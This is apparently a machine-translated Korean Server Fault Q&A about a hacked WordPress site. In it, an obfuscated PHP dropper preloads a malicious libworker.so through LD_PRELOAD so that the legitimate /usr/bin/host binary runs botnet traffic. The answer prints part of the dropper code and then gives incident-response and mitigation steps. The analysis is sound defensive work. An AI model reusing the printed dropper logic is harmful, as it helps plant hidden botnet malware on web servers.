해킹 된 PHP 스크립트에 의해 실행되는 / usr / bin / host


8

오늘 저는 Apache 웹 서버에서 비정상적으로 높은 요청 속도와 수신 네트워크 트래픽이 상당히 높은 것으로 나타났습니다. Apache의 mod_status 페이지를 확인한 결과 문제가되는 URL이 path에서 발견되었습니다 www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. 그리고 실제로 몇 가지 해킹 된 (난독 화 된) PHP 스크립트를 발견했습니다.

www-data 사용자가 실행 한 이상한 프로세스도 발견했습니다.

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

확인 /proc/7300/cmdline결과 실제로 이것이 원래 /usr/bin/host바이너리임을 알 수있었습니다. netstat -anp많은 HTTP 연결이 열렸으므로 바이너리가 남용되었다는 것을 보여주었습니다. debsums이진 체크섬이 정상임을 확인했습니다. 프로세스가 www-data 사용자로 실행되었으므로 서버 자체가 손상되었다고 믿을 이유가 없었습니다.

이 바이너리는 어떻게 남용됩니까?

편집 : 이것은 광범위한 "손상된 서버를 처리하는 방법"질문입니다. 오히려 특정 유형의 학대에 대한 질문 (그리고 이미 답변)은 기술적으로 어떻게 수행되는지에 대한 질문입니다. 지금은 몇 년 동안 야생 상태 인 것으로 보이며 (2012 년 이전의 스레드 및 질문) 이번 주에이 문제가 발생했습니다.


관련 질문이 마감됨에 따라 새로운 질문을 열어 내 결과에 답했습니다. serverfault.com/questions/554801/…
Marki555

답변:


10

불쾌감을주는 PHP 스크립트와 인터넷 검색 ( 이 스레드 ) 의 소스 코드를 파고 들고 설명을 찾았습니다.

이것은 system.php내가 찾은 코드의 일부입니다 .

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

/usr/bin/host참여 방법 은 조금 더 발전되었습니다. 프로그램 .so은 일부 기능에 라이브러리 ( 파일)를 사용 합니다. 사용자는 LD_PRELOAD합법적 인 바이너리를 시작하기 전에 일부 .so 파일을 미리 연결 ()하여 작동 방식을 변경할 수 있습니다.

보시다시피이 스크립트는 파일을 만들고 환경 변수를 libworker.so사용 하여 파일 LD_PRELOAD을 미리로드하므로 합법적 인 host바이너리는 완전히 다른 작업을 수행합니다.

1.sh쉘 스크립트를 작성하고 여러 방법 (직접 at명령, cron 사용) 으로 실행하려고 시도합니다 . 그 직후에는 스크립트와 라이브러리 파일을 디스크에서 제거하므로 눈에 띄지 않습니다.

처음에 일어난 일은 일부 취약한 Wordpress 플러그인이 악용되어 공격자가 파일을 단어를 쓸 수없는 디렉토리에 넣을 수 있다는 것입니다.

완화 란 해당 도메인에 대한 이전 액세스 로그 파일을 분석하고 POST비정상적인 위치에 대한 요청을 찾으려고 시도하는 것을 의미합니다 ( 예 : WP / Joomla 플러그인의 PHP 파일에 직접 액세스하는 것은 드문 경우). 그런 다음 발견 된 난독 화 된 PHP 파일을 모두 제거하고, 디렉토리 권한을 수정하고, 실행중인 host프로세스를 종료 하고, 재 시도 할 때마다 로그 파일을 모니터링하십시오.

편집 : 나는이 특정 라이브러리와 다른 버전을 이미 감지했다는 정보를 ESET에서 얻었습니다. 바이러스 백신 회사는 Roopre 라는 이름을 사용하며 Mayhem 봇넷의 일부로 사용되는 것으로 보입니다 .

Mayhem 봇넷에 대한 심층 분석

이 악용에 대한 심층 분석 .

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.